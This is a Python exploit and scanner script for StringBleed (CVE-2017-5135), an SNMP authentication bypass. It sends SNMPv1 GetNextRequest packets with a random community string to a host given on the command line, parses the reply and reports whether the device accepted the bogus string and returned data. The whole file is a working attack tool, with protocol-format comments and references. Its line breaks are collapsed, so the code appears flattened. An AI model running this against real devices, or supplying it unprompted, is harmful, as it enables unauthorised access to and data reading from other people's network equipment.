|
#!/usr/bin/python # -*- coding: utf-8 -*- # StringBleed - CVE-2017-5135 __author__ = ["Nixawk"] __funcs__ = [ 'generate_snmp_communitystr', 'generate_snmp_proto_payload', 'send_snmp_request', 'read_snmp_communitystr', 'read_snmp_varbindstr', 'snmp_login', 'snmp_stringbleed' ] import struct import uuid import socket import time import logging import contextlib logging.basicConfig(level=logging.INFO) log = logging.getLogger(__file__) def generate_snmp_communitystr(): return str(uuid.uuid4()) def generate_snmp_proto_payload(community): """Generate snmp request with [SNMPv1] and [OID: 1.3.6.1.2.1.1.1.0] For example, suppose one wanted to identify an instance of the variable sysDescr The object class for sysDescr is: iso org dod internet mgmt mib system sysDescr 1 3 6 1 2 1 1 1 """ # SNMPv1 specifies five core protocol data units (PDUs). # All SNMP PDUs are constructed as follows: # --------------------- # | IP header | # --------------------- # | UDP header | # --------------------- -------| # | version | | # | community | | # | PDU-type | | # | request-id | |---- SNMP # | error-status | | # | error-index | | # | variable bindings | | # --------------------- -------| # # The seven SNMP protocol data unit (PDU) types are as follows: # GetRequest # SetRequest # GetNextRequest # GetBulkRequest # Response # Trap # InformRequest # SNMPv1 Message Header # SNMPv1 Trap Message Hander # https://tools.ietf.org/html/rfc1592 # +-----------------------------------------------------------------+ # | Table 1 (Page 1 of 2). SNMP GET PDU for dpiPortForTCP.0 | # +---------------+----------------+--------------------------------+ # | OFFSET | VALUE | FIELD | # +---------------+----------------+--------------------------------+ # | 0 | 0x30 | ASN.1 header | # +---------------+----------------+--------------------------------+ # | 1 | 37 + len | PDU_length, see formula below | # +---------------+----------------+--------------------------------+ # | 2 | 0x02 0x01 0x00 | SNMP version: | # | | | (integer,length=1,value=0) | # +---------------+----------------+--------------------------------+ # | 5 | 0x04 | community name (string) | # +---------------+----------------+--------------------------------+ # | 6 | len | length of community name | # +---------------+----------------+--------------------------------+ # | 7 | community name | varies | # +---------------+----------------+--------------------------------+ # | 7 + len | 0xa0 0x1c | SNMP GET request: | # | | | request_type=0xa0,length=0x1c | # +---------------+----------------+--------------------------------+ # | 7 + len + 2 | 0x02 0x01 0x01 | SNMP request ID: | # | | | integer,length=1,ID=1 | # +---------------+----------------+--------------------------------+ # | 7 + len + 5 | 0x02 0x01 0x00 | SNMP error status: | # | | | integer,length=1,error=0 | # +---------------+----------------+--------------------------------+ # | 7 + len + 8 | 0x02 0x01 0x00 | SNMP index: | # | | | integer,length=1,index=0 | # +---------------+----------------+--------------------------------+ # | 7 + len + 11 | 0x30 0x11 | varBind list, length=0x11 | # +---------------+----------------+--------------------------------+ # | 7 + len + 13 | 0x30 0x0f | varBind, length=0x0f | # +---------------+----------------+--------------------------------+ # | 7 + len + 15 | 0x06 0x0b | Object ID, length=0x0b | # +---------------+----------------+--------------------------------+ # | 7 + len + 17 | 0x2b 0x06 0x01 | Object-ID: | # | | 0x04 0x01 0x02 | 1.3.6.1.4.1.2.2.1.1.1 | # | | 0x02 0x01 0x01 | Object-instance: 0 | # | | 0x01 0x00 | | # +---------------+----------------+--------------------------------+ # | 7 + len + 28 | 0x05 0x00 | null value, length=0 | # +---------------+----------------+--------------------------------+ # | NOTE: Formula to calculate "PDU_length": | # | | # | PDU_length = length of version field and string tag (4 bytes)| # | + length of community length field (1 byte) | # | + length of community name (depends...) | # | + length of SNMP GET request (32 bytes) | # | | # | = 37 + length of community name | # +-----------------------------------------------------------------+ snmp_GetNextRequest = [ b"\x30", # ASN.1 Header b"\x29", # PDU length b"\x02\x01\x00", # SNMP Version b"\x04", # Community Name (string) chr(len(community)), # Community Length community, # Community String b"\xa1\x19", # PDU Type - GetNextRequest b"\x02\x04", struct.pack("<i", int(time.time())), # Request ID b"\x02\x01\x00", # Error Status (Type) b"\x02\x01\x00", # Error Index b"\x30", # Variable Type (Sequence) b"\x0b", # Length b"\x30", # Variable Type (Sequence) b"\x09", # Length b"\x06", # Variable Type (OID) b"\x05", # Length b"\x2b\x06\x01\x02\x01", # Value b"\x05\x00" # NULL ] pkt = "".join(snmp_GetNextRequest) com_length = chr(len(community)) pdu_length = chr(len(pkt) - 2) # community length cost 1 bytes (default) if com_length > '\x7f': com_length = '\x81' + com_length pdu_length = chr(len(pkt) - 1) # community length cost 2 bytes if pdu_length > '\x7f': pdu_length = '\x81' + pdu_length snmp_GetNextRequest[1] = pdu_length snmp_GetNextRequest[4] = com_length pkt = b"".join(snmp_GetNextRequest) return pkt def send_snmp_request(host, port, community, timeout=6.0): """Send snmp request based on UDP. """ data = '' try: with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_DGRAM)) as client: snmp_raw = generate_snmp_proto_payload(community) client.settimeout(timeout) client.sendto(snmp_raw, (host, port)) data, _ = client.recvfrom(2014) except Exception as err: log.error("{} : {} - {}".format(host, port, err)) return data def read_snmp_communitystr(snmp_response): """Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157) """ community_str = '' if not snmp_response: return community_str pdu_length = snmp_response[1] # "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01" if ord(pdu_length) > 0x7f: offset = 8 # "\x30\x81\xea\x02\x01\x00\x04\x24" else: offset = 7 # "\x30\x26\x02\x01\x00\x04\x06" community_length = snmp_response[offset - 1] community_str = snmp_response[offset: offset +ord(community_length)] return community_str def read_snmp_varbindstr(snmp_response): """Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157) """ variable_binding_string = '' if not snmp_response: return variable_binding_string pdu_length = snmp_response[1] # "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01" if ord(pdu_length) > 0x7f: offset = 8 # "\x30\x81\xea\x02\x01\x00\x04\x24" else: offset = 7 # "\x30\x26\x02\x01\x00\x04\x06" community_length = snmp_response[offset - 1] pdu_data_offset = offset + ord(community_length) pdu_data = snmp_response[pdu_data_offset:] # 8 = first snmp 8 bytes last_pdu = pdu_data.split("\x00")[-1] # if data > 127 (0x7f), variable-bindings length: 3 bytes # if data < 127 (0x7f), variable-bindings length: 2 bytes last_pdu_length = ord(last_pdu[1]) if last_pdu_length > 0x7f: variable_binding_string = last_pdu[3:] else: variable_binding_string = last_pdu[2:] return variable_binding_string def snmp_login(host, port, community): """login snmp service with SNMPv1 community string. """ login_status = False try: resp_community = read_snmp_communitystr( send_snmp_request(host, int(port), community) ) if (resp_community == community): login_status = True except Exception as err: log.error(err) return login_status def snmp_stringbleed(host, port, community): """Test againsts Snmp StringBleed CVE-2017-5135. """ stringbleed_status = False try: resp_varbindstr = read_snmp_varbindstr( send_snmp_request(host, int(port), community) ) if resp_varbindstr: stringbleed_status = True except Exception as err: log.error(err) return stringbleed_status if __name__ == '__main__': import sys if len(sys.argv) != 4: log.info("Usage python {} <snmp-host> <snmp-port> <snmp-community-str>".format(sys.argv[0])) sys.exit(1) host = sys.argv[1] port = sys.argv[2] community = sys.argv[3] if snmp_login(host, int(port), community): log.info("{}:{} - [{}] snmp login successfully.".format(host, port, community)) else: log.info("{}:{} - [{}] snmp login failed.".format(host, port, community)) if snmp_stringbleed(host, int(port), community): log.info("{}:{} - [{}] snmp StringBleed successfully.".format(host, port, community)) else: log.info("{}:{} - [{}] snmp StringBleed failed.".format(host, port, community)) ## References # https://tools.ietf.org/html/rfc1157 # http://stackoverflow.com/questions/22998212/decode-snmp-pdus-where-to-start # http://www.net-snmp.org/ # https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol # https://wiki.wireshark.org/SNMP # https://msdn.microsoft.com/en-us/library/windows/desktop/bb648643(v=vs.85).aspx # http://cs.uccs.edu/~cs522/studentproj/projF2004/jrreese/doc/SNMP.doc # https://github.com/exhuma/puresnmp/blob/be1267bb792be0a5bdf57b0748354d2d3c7f9fb0/puresnmp/pdu.py
|
|
|